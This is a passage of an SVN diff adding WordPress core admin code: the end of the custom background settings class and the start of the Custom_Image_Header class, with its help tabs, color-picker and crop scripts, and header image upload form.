+		'left center'   => array( 'label' => __( 'Left' ), 'icon' => 'dashicons dashicons-arrow-left-alt' ),
+		'center center' => array( 'label' => __( 'Center' ), 'icon' => 'background-position-center-icon' ),
+		'right center'  => array( 'label' => __( 'Right' ), 'icon' => 'dashicons dashicons-arrow-right-alt' ),
+	),
+	array(
+		'left bottom'   => array( 'label' => __( 'Bottom Left' ), 'icon' => 'dashicons dashicons-arrow-left-alt' ),
+		'center bottom' => array( 'label' => __( 'Bottom' ), 'icon' => 'dashicons dashicons-arrow-down-alt' ),
+		'right bottom'  => array( 'label' => __( 'Bottom Right' ), 'icon' => 'dashicons dashicons-arrow-right-alt' ),
+	),
+);
+?>
+<tr>
+<th scope="row"><?php _e( 'Image Position' ); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e( 'Image Position' ); ?></span></legend>
+<div class="background-position-control">
+<?php foreach ( $background_position_options as $group ) : ?>
+	<div class="button-group">
+	<?php foreach ( $group as $value => $input ) : ?>
+		<label>
+			<input class="screen-reader-text" name="background-position" type="radio" value="<?php echo esc_attr( $value ); ?>"<?php checked( $value, $background_position ); ?>>
+			<span class="button display-options position"><span class="<?php echo esc_attr( $input['icon'] ); ?>" aria-hidden="true"></span></span>
+			<span class="screen-reader-text"><?php echo $input['label']; ?></span>
+		</label>
+	<?php endforeach; ?>
+	</div>
+<?php endforeach; ?>
+</div>
+</fieldset></td>
+</tr>
+
+<tr>
+<th scope="row"><label for="background-size"><?php _e( 'Image Size' ); ?></label></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e( 'Image Size' ); ?></span></legend>
+<select id="background-size" name="background-size">
+<option value="auto"<?php selected( 'auto', get_theme_mod( 'background_size', get_theme_support( 'custom-background', 'default-size' ) ) ); ?>><?php _ex( 'Original', 'Original Size' ); ?></option>
+<option value="contain"<?php selected( 'contain', get_theme_mod( 'background_size', get_theme_support( 'custom-background', 'default-size' ) ) ); ?>><?php _e( 'Fit to Screen' ); ?></option>
+<option value="cover"<?php selected( 'cover', get_theme_mod( 'background_size', get_theme_support( 'custom-background', 'default-size' ) ) ); ?>><?php _e( 'Fill Screen' ); ?></option>
+</select>
+</fieldset></td>
+</tr>
+
+<tr>
+<th scope="row"><?php _ex( 'Repeat', 'Background Repeat' ); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _ex( 'Repeat', 'Background Repeat' ); ?></span></legend>
+<input name="background-repeat" type="hidden" value="no-repeat">
+<label><input type="checkbox" name="background-repeat" value="repeat"<?php checked( 'repeat', get_theme_mod( 'background_repeat', get_theme_support( 'custom-background', 'default-repeat' ) ) ); ?>> <?php _e( 'Repeat Background Image' ); ?></label>
+</fieldset></td>
+</tr>
+
+<tr>
+<th scope="row"><?php _ex( 'Scroll', 'Background Scroll' ); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _ex( 'Scroll', 'Background Scroll' ); ?></span></legend>
+<input name="background-attachment" type="hidden" value="fixed">
+<label><input name="background-attachment" type="checkbox" value="scroll" <?php checked( 'scroll', get_theme_mod( 'background_attachment', get_theme_support( 'custom-background', 'default-attachment' ) ) ); ?>> <?php _e( 'Scroll with Page' ); ?></label>
+</fieldset></td>
+</tr>
+<?php endif; // get_background_image() ?>
+<tr>
+<th scope="row"><?php _e( 'Background Color' ); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e( 'Background Color' ); ?></span></legend>
+<?php
+$default_color = '';
+if ( current_theme_supports( 'custom-background', 'default-color' ) )
+	$default_color = ' data-default-color="#' . esc_attr( get_theme_support( 'custom-background', 'default-color' ) ) . '"';
+?>
+<input type="text" name="background-color" id="background-color" value="#<?php echo esc_attr( get_background_color() ); ?>"<?php echo $default_color ?>>
+</fieldset></td>
+</tr>
+</tbody>
+</table>
+
+<?php wp_nonce_field('custom-background'); ?>
+<?php submit_button( null, 'primary', 'save-background-options' ); ?>
+</form>
+
+</div>
+<?php
+	}
+
+	/**
+	 * Handle an Image upload for the background image.
+	 *
+	 * @since 3.0.0
+	 */
+	public function handle_upload() {
+		if ( empty($_FILES) )
+			return;
+
+		check_admin_referer('custom-background-upload', '_wpnonce-custom-background-upload');
+		$overrides = array('test_form' => false);
+
+		$uploaded_file = $_FILES['import'];
+		$wp_filetype = wp_check_filetype_and_ext( $uploaded_file['tmp_name'], $uploaded_file['name'] );
+		if ( ! wp_match_mime_types( 'image', $wp_filetype['type'] ) )
+			wp_die( __( 'The uploaded file is not a valid image. Please try again.' ) );
+
+		$file = wp_handle_upload($uploaded_file, $overrides);
+
+		if ( isset($file['error']) )
+			wp_die( $file['error'] );
+
+		$url = $file['url'];
+		$type = $file['type'];
+		$file = $file['file'];
+		$filename = basename($file);
+
+		// Construct the object array
+		$object = array(
+			'post_title' => $filename,
+			'post_content' => $url,
+			'post_mime_type' => $type,
+			'guid' => $url,
+			'context' => 'custom-background'
+		);
+
+		// Save the data
+		$id = wp_insert_attachment($object, $file);
+
+		// Add the meta-data
+		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) );
+		update_post_meta( $id, '_wp_attachment_is_custom_background', get_option('stylesheet' ) );
+
+		set_theme_mod('background_image', esc_url_raw($url));
+
+		$thumbnail = wp_get_attachment_image_src( $id, 'thumbnail' );
+		set_theme_mod('background_image_thumb', esc_url_raw( $thumbnail[0] ) );
+
+		/** This action is documented in wp-admin/custom-header.php */
+		do_action( 'wp_create_file_in_uploads', $file, $id ); // For replication
+		$this->updated = true;
+	}
+
+	/**
+	 * Ajax handler for adding custom background context to an attachment.
+	 *
+	 * Triggered when the user adds a new background image from the
+	 * Media Manager.
+	 *
+	 * @since 4.1.0
+	 */
+	public function ajax_background_add() {
+		check_ajax_referer( 'background-add', 'nonce' );
+
+		if ( ! current_user_can( 'edit_theme_options' ) ) {
+			wp_send_json_error();
+		}
+
+		$attachment_id = absint( $_POST['attachment_id'] );
+		if ( $attachment_id < 1 ) {
+			wp_send_json_error();
+		}
+
+		update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', get_stylesheet() );
+
+		wp_send_json_success();
+	}
+
+	/**
+	 *
+	 * @since 3.4.0
+	 * @deprecated 3.5.0
+	 *
+	 * @param array $form_fields
+	 * @return array $form_fields
+	 */
+	public function attachment_fields_to_edit( $form_fields ) {
+		return $form_fields;
+	}
+
+	/**
+	 *
+	 * @since 3.4.0
+	 * @deprecated 3.5.0
+	 *
+	 * @param array $tabs
+	 * @return array $tabs
+	 */
+	public function filter_upload_tabs( $tabs ) {
+		return $tabs;
+	}
+
+	/**
+	 *
+	 * @since 3.4.0
+	 * @deprecated 3.5.0
+	 */
+	public function wp_set_background_image() {
+		check_ajax_referer( 'custom-background' );
+		if ( ! current_user_can('edit_theme_options') || ! isset( $_POST['attachment_id'] ) ) exit;
+		$attachment_id = absint($_POST['attachment_id']);
+		/** This filter is documented in wp-admin/includes/media.php */
+		$sizes = array_keys(apply_filters( 'image_size_names_choose', array('thumbnail' => __('Thumbnail'), 'medium' => __('Medium'), 'large' => __('Large'), 'full' => __('Full Size')) ));
+		$size = 'thumbnail';
+		if ( in_array( $_POST['size'], $sizes ) )
+			$size = esc_attr( $_POST['size'] );
+
+		update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', get_option('stylesheet' ) );
+		$url = wp_get_attachment_image_src( $attachment_id, $size );
+		$thumbnail = wp_get_attachment_image_src( $attachment_id, 'thumbnail' );
+		set_theme_mod( 'background_image', esc_url_raw( $url[0] ) );
+		set_theme_mod( 'background_image_thumb', esc_url_raw( $thumbnail[0] ) );
+		exit;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/custom-header.php
===================================================================
--- /tags/5.0.20/src/wp-admin/custom-header.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/custom-header.php	(revision 56912)
@@ -0,0 +1,1445 @@
+<?php
+/**
+ * The custom header image script.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * The custom header image class.
+ *
+ * @since 2.1.0
+ */
+class Custom_Image_Header {
+
+	/**
+	 * Callback for administration header.
+	 *
+	 * @var callable
+	 * @since 2.1.0
+	 */
+	public $admin_header_callback;
+
+	/**
+	 * Callback for header div.
+	 *
+	 * @var callable
+	 * @since 3.0.0
+	 */
+	public $admin_image_div_callback;
+
+	/**
+	 * Holds default headers.
+	 *
+	 * @var array
+	 * @since 3.0.0
+	 */
+	public $default_headers = array();
+
+	/**
+	 * Used to trigger a success message when settings updated and set to true.
+	 *
+	 * @since 3.0.0
+	 * @var bool
+	 */
+	private $updated;
+
+	/**
+	 * Constructor - Register administration header callback.
+	 *
+	 * @since 2.1.0
+	 * @param callable $admin_header_callback
+	 * @param callable $admin_image_div_callback Optional custom image div output callback.
+	 */
+	public function __construct($admin_header_callback, $admin_image_div_callback = '') {
+		$this->admin_header_callback = $admin_header_callback;
+		$this->admin_image_div_callback = $admin_image_div_callback;
+
+		add_action( 'admin_menu', array( $this, 'init' ) );
+
+		add_action( 'customize_save_after',         array( $this, 'customize_set_last_used' ) );
+		add_action( 'wp_ajax_custom-header-crop',   array( $this, 'ajax_header_crop'        ) );
+		add_action( 'wp_ajax_custom-header-add',    array( $this, 'ajax_header_add'         ) );
+		add_action( 'wp_ajax_custom-header-remove', array( $this, 'ajax_header_remove'      ) );
+	}
+
+	/**
+	 * Set up the hooks for the Custom Header admin page.
+	 *
+	 * @since 2.1.0
+	 */
+	public function init() {
+		$page = add_theme_page( __( 'Header' ), __( 'Header' ), 'edit_theme_options', 'custom-header', array( $this, 'admin_page' ) );
+		if ( ! $page ) {
+			return;
+		}
+
+		add_action( "admin_print_scripts-$page", array( $this, 'js_includes' ) );
+		add_action( "admin_print_styles-$page", array( $this, 'css_includes' ) );
+		add_action( "admin_head-$page", array( $this, 'help' ) );
+		add_action( "admin_head-$page", array( $this, 'take_action' ), 50 );
+		add_action( "admin_head-$page", array( $this, 'js' ), 50 );
+		if ( $this->admin_header_callback ) {
+			add_action( "admin_head-$page", $this->admin_header_callback, 51 );
+		}
+	}
+
+	/**
+	 * Adds contextual help.
+	 *
+	 * @since 3.0.0
+	 */
+	public function help() {
+		get_current_screen()->add_help_tab( array(
+			'id'      => 'overview',
+			'title'   => __('Overview'),
+			'content' =>
+				'<p>' . __( 'This screen is used to customize the header section of your theme.') . '</p>' .
+				'<p>' . __( 'You can choose from the theme&#8217;s default header images, or use one of your own. You can also customize how your Site Title and Tagline are displayed.') . '<p>'
+		) );
+
+		get_current_screen()->add_help_tab( array(
+			'id'      => 'set-header-image',
+			'title'   => __('Header Image'),
+			'content' =>
+				'<p>' . __( 'You can set a custom image header for your site. Simply upload the image and crop it, and the new header will go live immediately. Alternatively, you can use an image that has already been uploaded to your Media Library by clicking the &#8220;Choose Image&#8221; button.' ) . '</p>' .
+				'<p>' . __( 'Some themes come with additional header images bundled. If you see multiple images displayed, select the one you&#8217;d like and click the &#8220;Save Changes&#8221; button.' ) . '</p>' .
+				'<p>' . __( 'If your theme has more than one default header image, or you have uploaded more than one custom header image, you have the option of having WordPress display a randomly different image on each page of your site. Click the &#8220;Random&#8221; radio button next to the Uploaded Images or Default Images section to enable this feature.') . '</p>' .
+				'<p>' . __( 'If you don&#8217;t want a header image to be displayed on your site at all, click the &#8220;Remove Header Image&#8221; button at the bottom of the Header Image section of this page. If you want to re-enable the header image later, you just have to select one of the other image options and click &#8220;Save Changes&#8221;.') . '</p>'
+		) );
+
+		get_current_screen()->add_help_tab( array(
+			'id'      => 'set-header-text',
+			'title'   => __('Header Text'),
+			'content' =>
+				'<p>' . sprintf( __( 'For most themes, the header text is your Site Title and Tagline, as defined in the <a href="%1$s">General Settings</a> section.' ), admin_url( 'options-general.php' ) ) . '<p>' .
+				'<p>' . __( 'In the Header Text section of this page, you can choose whether to display this text or hide it. You can also choose a color for the text by clicking the Select Color button and either typing in a legitimate HTML hex value, e.g. &#8220;#ff0000&#8221; for red, or by choosing a color using the color picker.' ) . '</p>' .
+				'<p>' . __( 'Don&#8217;t forget to click &#8220;Save Changes&#8221; when you&#8217;re done!') . '</p>'
+		) );
+
+		get_current_screen()->set_help_sidebar(
+			'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
+			'<p>' . __( '<a href="https://codex.wordpress.org/Appearance_Header_Screen">Documentation on Custom Header</a>' ) . '</p>' .
+			'<p>' . __( '<a href="https://wordpress.org/support/">Support Forums</a>' ) . '</p>'
+		);
+	}
+
+	/**
+	 * Get the current step.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @return int Current step
+	 */
+	public function step() {
+		if ( ! isset( $_GET['step'] ) )
+			return 1;
+
+		$step = (int) $_GET['step'];
+		if ( $step < 1 || 3 < $step ||
+			( 2 == $step && ! wp_verify_nonce( $_REQUEST['_wpnonce-custom-header-upload'], 'custom-header-upload' ) ) ||
+			( 3 == $step && ! wp_verify_nonce( $_REQUEST['_wpnonce'], 'custom-header-crop-image' ) )
+		)
+			return 1;
+
+		return $step;
+	}
+
+	/**
+	 * Set up the enqueue for the JavaScript files.
+	 *
+	 * @since 2.1.0
+	 */
+	public function js_includes() {
+		$step = $this->step();
+
+		if ( ( 1 == $step || 3 == $step ) ) {
+			wp_enqueue_media();
+			wp_enqueue_script( 'custom-header' );
+			if ( current_theme_supports( 'custom-header', 'header-text' ) )
+				wp_enqueue_script( 'wp-color-picker' );
+		} elseif ( 2 == $step ) {
+			wp_enqueue_script('imgareaselect');
+		}
+	}
+
+	/**
+	 * Set up the enqueue for the CSS files
+	 *
+	 * @since 2.7.0
+	 */
+	public function css_includes() {
+		$step = $this->step();
+
+		if ( ( 1 == $step || 3 == $step ) && current_theme_supports( 'custom-header', 'header-text' ) )
+			wp_enqueue_style( 'wp-color-picker' );
+		elseif ( 2 == $step )
+			wp_enqueue_style('imgareaselect');
+	}
+
+	/**
+	 * Execute custom header modification.
+	 *
+	 * @since 2.6.0
+	 */
+	public function take_action() {
+		if ( ! current_user_can('edit_theme_options') )
+			return;
+
+		if ( empty( $_POST ) )
+			return;
+
+		$this->updated = true;
+
+		if ( isset( $_POST['resetheader'] ) ) {
+			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );
+			$this->reset_header_image();
+			return;
+		}
+
+		if ( isset( $_POST['removeheader'] ) ) {
+			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );
+			$this->remove_header_image();
+			return;
+		}
+
+		if ( isset( $_POST['text-color'] ) && ! isset( $_POST['display-header-text'] ) ) {
+			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );
+			set_theme_mod( 'header_textcolor', 'blank' );
+		} elseif ( isset( $_POST['text-color'] ) ) {
+			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );
+			$_POST['text-color'] = str_replace( '#', '', $_POST['text-color'] );
+			$color = preg_replace('/[^0-9a-fA-F]/', '', $_POST['text-color']);
+			if ( strlen($color) == 6 || strlen($color) == 3 )
+				set_theme_mod('header_textcolor', $color);
+			elseif ( ! $color )
+				set_theme_mod( 'header_textcolor', 'blank' );
+		}
+
+		if ( isset( $_POST['default-header'] ) ) {
+			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );
+			$this->set_header_image( $_POST['default-header'] );
+			return;
+		}
+	}
+
+	/**
+	 * Process the default headers
+	 *
+	 * @since 3.0.0
+	 *
+	 * @global array $_wp_default_headers
+	 */
+	public function process_default_headers() {
+		global $_wp_default_headers;
+
+		if ( !isset($_wp_default_headers) )
+			return;
+
+		if ( ! empty( $this->default_headers ) ) {
+			return;
+		}
+
+		$this->default_headers = $_wp_default_headers;
+		$template_directory_uri = get_template_directory_uri();
+		$stylesheet_directory_uri = get_stylesheet_directory_uri();
+		foreach ( array_keys($this->default_headers) as $header ) {
+			$this->default_headers[$header]['url'] =  sprintf( $this->default_headers[$header]['url'], $template_directory_uri, $stylesheet_directory_uri );
+			$this->default_headers[$header]['thumbnail_url'] =  sprintf( $this->default_headers[$header]['thumbnail_url'], $template_directory_uri, $stylesheet_directory_uri );
+		}
+	}
+
+	/**
+	 * Display UI for selecting one of several default headers.
+	 *
+	 * Show the random image option if this theme has multiple header images.
+	 * Random image option is on by default if no header has been set.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $type The header type. One of 'default' (for the Uploaded Images control)
+	 *                     or 'uploaded' (for the Uploaded Images control).
+	 */
+	public function show_header_selector( $type = 'default' ) {
+		if ( 'default' == $type ) {
+			$headers = $this->default_headers;
+		} else {
+			$headers = get_uploaded_header_images();
+			$type = 'uploaded';
+		}
+
+		if ( 1 < count( $headers ) ) {
+			echo '<div class="random-header">';
+			echo '<label><input name="default-header" type="radio" value="random-' . $type . '-image"' . checked( is_random_header_image( $type ), true, false ) . ' />';
+			_e( '<strong>Random:</strong> Show a different image on each page.' );
+			echo '</label>';
+			echo '</div>';
+		}
+
+		echo '<div class="available-headers">';
+		foreach ( $headers as $header_key => $header ) {
+			$header_thumbnail = $header['thumbnail_url'];
+			$header_url = $header['url'];
+			$header_alt_text = empty( $header['alt_text'] ) ? '' : $header['alt_text'];
+			echo '<div class="default-header">';
+			echo '<label><input name="default-header" type="radio" value="' . esc_attr( $header_key ) . '" ' . checked( $header_url, get_theme_mod( 'header_image' ), false ) . ' />';
+			$width = '';
+			if ( !empty( $header['attachment_id'] ) )
+				$width = ' width="230"';
+			echo '<img src="' . set_url_scheme( $header_thumbnail ) . '" alt="' . esc_attr( $header_alt_text ) .'"' . $width . ' /></label>';
+			echo '</div>';
+		}
+		echo '<div class="clear"></div></div>';
+	}
+
+	/**
+	 * Execute JavaScript depending on step.
+	 *
+	 * @since 2.1.0
+	 */
+	public function js() {
+		$step = $this->step();
+		if ( ( 1 == $step || 3 == $step ) && current_theme_supports( 'custom-header', 'header-text' ) )
+			$this->js_1();
+		elseif ( 2 == $step )
+			$this->js_2();
+	}
+
+	/**
+	 * Display JavaScript based on Step 1 and 3.
+	 *
+	 * @since 2.6.0
+	 */
+	public function js_1() {
+		$default_color = '';
+		if ( current_theme_supports( 'custom-header', 'default-text-color' ) ) {
+			$default_color = get_theme_support( 'custom-header', 'default-text-color' );
+			if ( $default_color && false === strpos( $default_color, '#' ) ) {
+				$default_color = '#' . $default_color;
+			}
+		}
+		?>
+<script type="text/javascript">
+(function($){
+	var default_color = '<?php echo esc_js( $default_color ); ?>',
+		header_text_fields;
+
+	function pickColor(color) {
+		$('#name').css('color', color);
+		$('#desc').css('color', color);
+		$('#text-color').val(color);
+	}
+
+	function toggle_text() {
+		var checked = $('#display-header-text').prop('checked'),
+			text_color;
+		header_text_fields.toggle( checked );
+		if ( ! checked )
+			return;
+		text_color = $('#text-color');
+		if ( '' == text_color.val().replace('#', '') ) {
+			text_color.val( default_color );
+			pickColor( default_color );
+		} else {
+			pickColor( text_color.val() );
+		}
+	}
+
+	$(document).ready(function() {
+		var text_color = $('#text-color');
+		header_text_fields = $('.displaying-header-text');
+		text_color.wpColorPicker({
+			change: function( event, ui ) {
+				pickColor( text_color.wpColorPicker('color') );
+			},
+			clear: function() {
+				pickColor( '' );
+			}
+		});
+		$('#display-header-text').click( toggle_text );
+		<?php if ( ! display_header_text() ) : ?>
+		toggle_text();
+		<?php endif; ?>
+	});
+})(jQuery);
+</script>
+<?php
+	}
+
+	/**
+	 * Display JavaScript based on Step 2.
+	 *
+	 * @since 2.6.0
+	 */
+	public function js_2() { ?>
+<script type="text/javascript">
+	function onEndCrop( coords ) {
+		jQuery( '#x1' ).val(coords.x);
+		jQuery( '#y1' ).val(coords.y);
+		jQuery( '#width' ).val(coords.w);
+		jQuery( '#height' ).val(coords.h);
+	}
+
+	jQuery(document).ready(function() {
+		var xinit = <?php echo absint( get_theme_support( 'custom-header', 'width' ) ); ?>;
+		var yinit = <?php echo absint( get_theme_support( 'custom-header', 'height' ) ); ?>;
+		var ratio = xinit / yinit;
+		var ximg = jQuery('img#upload').width();
+		var yimg = jQuery('img#upload').height();
+
+		if ( yimg < yinit || ximg < xinit ) {
+			if ( ximg / yimg > ratio ) {
+				yinit = yimg;
+				xinit = yinit * ratio;
+			} else {
+				xinit = ximg;
+				yinit = xinit / ratio;
+			}
+		}
+
+		jQuery('img#upload').imgAreaSelect({
+			handles: true,
+			keys: true,
+			show: true,
+			x1: 0,
+			y1: 0,
+			x2: xinit,
+			y2: yinit,
+			<?php
+			if ( ! current_theme_supports( 'custom-header', 'flex-height' ) && ! current_theme_supports( 'custom-header', 'flex-width' ) ) {
+			?>
+			aspectRatio: xinit + ':' + yinit,
+			<?php
+			}
+			if ( ! current_theme_supports( 'custom-header', 'flex-height' ) ) {
+			?>
+			maxHeight: <?php echo get_theme_support( 'custom-header', 'height' ); ?>,
+			<?php
+			}
+			if ( ! current_theme_supports( 'custom-header', 'flex-width' ) ) {
+			?>
+			maxWidth: <?php echo get_theme_support( 'custom-header', 'width' ); ?>,
+			<?php
+			}
+			?>
+			onInit: function () {
+				jQuery('#width').val(xinit);
+				jQuery('#height').val(yinit);
+			},
+			onSelectChange: function(img, c) {
+				jQuery('#x1').val(c.x1);
+				jQuery('#y1').val(c.y1);
+				jQuery('#width').val(c.width);
+				jQuery('#height').val(c.height);
+			}
+		});
+	});
+</script>
+<?php
+	}
+
+	/**
+	 * Display first step of custom header image page.
+	 *
+	 * @since 2.1.0
+	 */
+	public function step_1() {
+		$this->process_default_headers();
+?>
+
+<div class="wrap">
+<h1><?php _e( 'Custom Header' ); ?></h1>
+
+<?php if ( current_user_can( 'customize' ) ) { ?>
+<div class="notice notice-info hide-if-no-customize">
+	<p>
+		<?php
+		printf(
+			__( 'You can now manage and live-preview Custom Header in the <a href="%1$s">Customizer</a>.' ),
+			admin_url( 'customize.php?autofocus[control]=header_image' )
+		);
+		?>
+	</p>
+</div>
+<?php } ?>
+
+<?php if ( ! empty( $this->updated ) ) { ?>
+<div id="message" class="updated">
+<p><?php printf( __( 'Header updated. <a href="%s">Visit your site</a> to see how it looks.' ), home_url( '/' ) ); ?></p>
+</div>
+<?php } ?>
+
+<h3><?php _e( 'Header Image' ); ?></h3>
+
+<table class="form-table">
+<tbody>
+
+<?php if ( get_custom_header() || display_header_text() ) : ?>
+<tr>
+<th scope="row"><?php _e( 'Preview' ); ?></th>
+<td>
+	<?php
+	if ( $this->admin_image_div_callback ) {
+		call_user_func( $this->admin_image_div_callback );
+	} else {
+		$custom_header = get_custom_header();
+		$header_image = get_header_image();
+
+		if ( $header_image ) {
+			$header_image_style = 'background-image:url(' . esc_url( $header_image ) . ');';
+		}  else {
+			$header_image_style = '';
+		}
+
+		if ( $custom_header->width )
+			$header_image_style .= 'max-width:' . $custom_header->width . 'px;';
+		if ( $custom_header->height )
+			$header_image_style .= 'height:' . $custom_header->height . 'px;';
+	?>
+	<div id="headimg" style="<?php echo $header_image_style; ?>">
+		<?php
+		if ( display_header_text() )
+			$style = ' style="color:#' . get_header_textcolor() . ';"';
+		else
+			$style = ' style="display:none;"';
+		?>
+		<h1><a id="name" class="displaying-header-text" <?php echo $style; ?> onclick="return false;" href="<?php bloginfo('url'); ?>" tabindex="-1"><?php bloginfo( 'name' ); ?></a></h1>
+		<div id="desc" class="displaying-header-text" <?php echo $style; ?>><?php bloginfo( 'description' ); ?></div>
+	</div>
+	<?php } ?>
+</td>
+</tr>
+<?php endif; ?>
+
+<?php if ( current_user_can( 'upload_files' ) && current_theme_supports( 'custom-header', 'uploads' ) ) : ?>
+<tr>
+<th scope="row"><?php _e( 'Select Image' ); ?></th>
+<td>
+	<p><?php _e( 'You can select an image to be shown at the top of your site by uploading from your computer or choosing from your media library. After selecting an image you will be able to crop it.' ); ?><br />
+	<?php
+	if ( ! current_theme_supports( 'custom-header', 'flex-height' ) && ! current_theme_supports( 'custom-header', 'flex-width' ) ) {
+		printf( __( 'Images of exactly <strong>%1$d &times; %2$d pixels</strong> will be used as-is.' ) . '<br />', get_theme_support( 'custom-header', 'width' ), get_theme_support( 'custom-header', 'height' ) );
+	} elseif ( current_theme_supports( 'custom-header', 'flex-height' ) ) {
+		if ( ! current_theme_supports( 'custom-header', 'flex-width' ) )
+			printf(
+				/* translators: %s: size in pixels */
+				__( 'Images should be at least %s wide.' ) . ' ',
+				sprintf(
+					/* translators: %d: custom header width */
+					'<strong>' . __( '%d pixels' ) . '</strong>',
+					get_theme_support( 'custom-header', 'width' )
+				)
+			);
+	} elseif ( current_theme_supports( 'custom-header', 'flex-width' ) ) {
+		if ( ! current_theme_supports( 'custom-header', 'flex-height' ) )
+			printf(
+				/* translators: %s: size in pixels */
+				__( 'Images should be at least %s tall.' ) . ' ',
+				sprintf(
+					/* translators: %d: custom header height */
+					'<strong>' . __( '%d pixels' ) . '</strong>',
+					get_theme_support( 'custom-header', 'height' )
+				)
+			);
+	}
+	if ( current_theme_supports( 'custom-header', 'flex-height' ) || current_theme_supports( 'custom-header', 'flex-width' ) ) {
+		if ( current_theme_supports( 'custom-header', 'width' ) )
+			printf(
+				/* translators: %s: size in pixels */
+				__( 'Suggested width is %s.' ) . ' ',
+				sprintf(
+					/* translators: %d: custom header width */
+					'<strong>' . __( '%d pixels' ) . '</strong>',
+					get_theme_support( 'custom-header', 'width' )
+				)
+			);
+		if ( current_theme_supports( 'custom-header', 'height' ) )
+			printf(
+				/* translators: %s: size in pixels */
+				__( 'Suggested height is %s.' ) . ' ',
+				sprintf(
+					/* translators: %d: custom header height */
+					'<strong>' . __( '%d pixels' ) . '</strong>',
+					get_theme_support( 'custom-header', 'height' )
+				)
+			);
+	}
+	?></p>
+	<form enctype="multipart/form-data" id="upload-form" class="wp-upload-form" method="post" action="<?php echo esc_url( add_query_arg( 'step', 2 ) ) ?>">
+	<p>
+		<label for="upload"><?php _e( 'Choose an image from your computer:' ); ?></label><br />
+		<input type="file" id="upload" name="import" />
+		<input type="hidden" name="action" value="save" />
+		<?php wp_nonce_field( 'custom-header-upload', '_wpnonce-custom-header-upload' ); ?>
+		<?php submit_button( __( 'Upload' ), '', 'submit', false ); ?>
+	</p>
+	<?php
+		$modal_update_href = esc_url( add_query_arg( array(
+			'page' => 'custom-header',
+			'step' => 2,
+			'_wpnonce-custom-header-upload' => wp_create_nonce('custom-header-upload'),
+		), admin_url('themes.php') ) );
+	?>
+	<p>
+		<label for="choose-from-library-link"><?php _e( 'Or choose an image from your media library:' ); ?></label><br />
+		<button id="choose-from-library-link" class="button"
+			data-update-link="<?php echo esc_attr( $modal_update_href ); ?>"
+			data-choose="<?php esc_attr_e( 'Choose a Custom Header' ); ?>"
+			data-update="<?php esc_attr_e( 'Set as header' ); ?>"><?php _e( 'Choose Image' ); ?></button>
+	</p>
+	</form>
+</td>
+</tr>
+<?php endif; ?>
+</tbody>
+</table>
+
+<form method="post" action="<?php echo esc_url( add_query_arg( 'step', 1 ) ) ?>">
+<?php submit_button( null, 'screen-reader-text', 'save-header-options', false ); ?>
+<table class="form-table">
+<tbody>
+	<?php if ( get_uploaded_header_images() ) : ?>
+<tr>
+<th scope="row"><?php _e( 'Uploaded Images' ); ?></th>
+<td>
+	<p><?php _e( 'You can choose one of your previously uploaded headers, or show a random one.' ) ?></p>
+	<?php
+		$this->show_header_selector( 'uploaded' );
+	?>
+</td>
+</tr>
+	<?php endif;
+	if ( ! empty( $this->default_headers ) ) : ?>
+<tr>
+<th scope="row"><?php _e( 'Default Images' ); ?></th>
+<td>
+<?php if ( current_theme_supports( 'custom-header', 'uploads' ) ) : ?>
+	<p><?php _e( 'If you don&lsquo;t want to upload your own image, you can use one of these cool headers, or show a random one.' ) ?></p>
+<?php else: ?>
+	<p><?php _e( 'You can use one of these cool headers or show a random one on each page.' ) ?></p>
+<?php endif; ?>
+	<?php
+		$this->show_header_selector( 'default' );
+	?>
+</td>
+</tr>
+	<?php endif;
+	if ( get_header_image() ) : ?>
+<tr>
+<th scope="row"><?php _e( 'Remove Image' ); ?></th>
+<td>
+	<p><?php _e( 'This will remove the header image. You will not be able to restore any customizations.' ) ?></p>
+	<?php submit_button( __( 'Remove Header Image' ), '', 'removeheader', false ); ?>
+</td>
+</tr>
+	<?php endif;
+
+	$default_image = sprintf( get_theme_support( 'custom-header', 'default-image' ), get_template_directory_uri(), get_stylesheet_directory_uri() );
+	if ( $default_image && get_header_image() != $default_image ) : ?>
+<tr>
+<th scope="row"><?php _e( 'Reset Image' ); ?></th>
+<td>
+	<p><?php _e( 'This will restore the original header image. You will not be able to restore any customizations.' ) ?></p>
+	<?php submit_button( __( 'Restore Original Header Image' ), '', 'resetheader', false ); ?>
+</td>
+</tr>
+	<?php endif; ?>
+</tbody>
+</table>
+
+<?php if ( current_theme_supports( 'custom-header', 'header-text' ) ) : ?>
+
+<h3><?php _e( 'Header Text' ); ?></h3>
+
+<table class="form-table">
+<tbody>
+<tr>
+<th scope="row"><?php _e( 'Header Text' ); ?></th>
+<td>
+	<p>
+	<label><input type="checkbox" name="display-header-text" id="display-header-text"<?php checked( display_header_text() ); ?> /> <?php _e( 'Show header text with your image.' ); ?></label>
+	</p>
+</td>
+</tr>
+
+<tr class="displaying-header-text">
+<th scope="row"><?php _e( 'Text Color' ); ?></th>
+<td>
+	<p>
+	<?php
+	$default_color = '';
+	if ( current_theme_supports( 'custom-header', 'default-text-color' ) ) {
+		$default_color = get_theme_support( 'custom-header', 'default-text-color' );
+		if ( $default_color && false === strpos( $default_color, '#' ) ) {
+			$default_color = '#' . $default_color;
+		}
+	}
+
+	$default_color_attr = $default_color ? ' data-default-color="' . esc_attr( $default_color ) . '"' : '';
+
+	$header_textcolor = display_header_text() ? get_header_textcolor() : get_theme_support( 'custom-header', 'default-text-color' );
+	if ( $header_textcolor && false === strpos( $header_textcolor, '#' ) ) {
+		$header_textcolor = '#' . $header_textcolor;
+	}
+
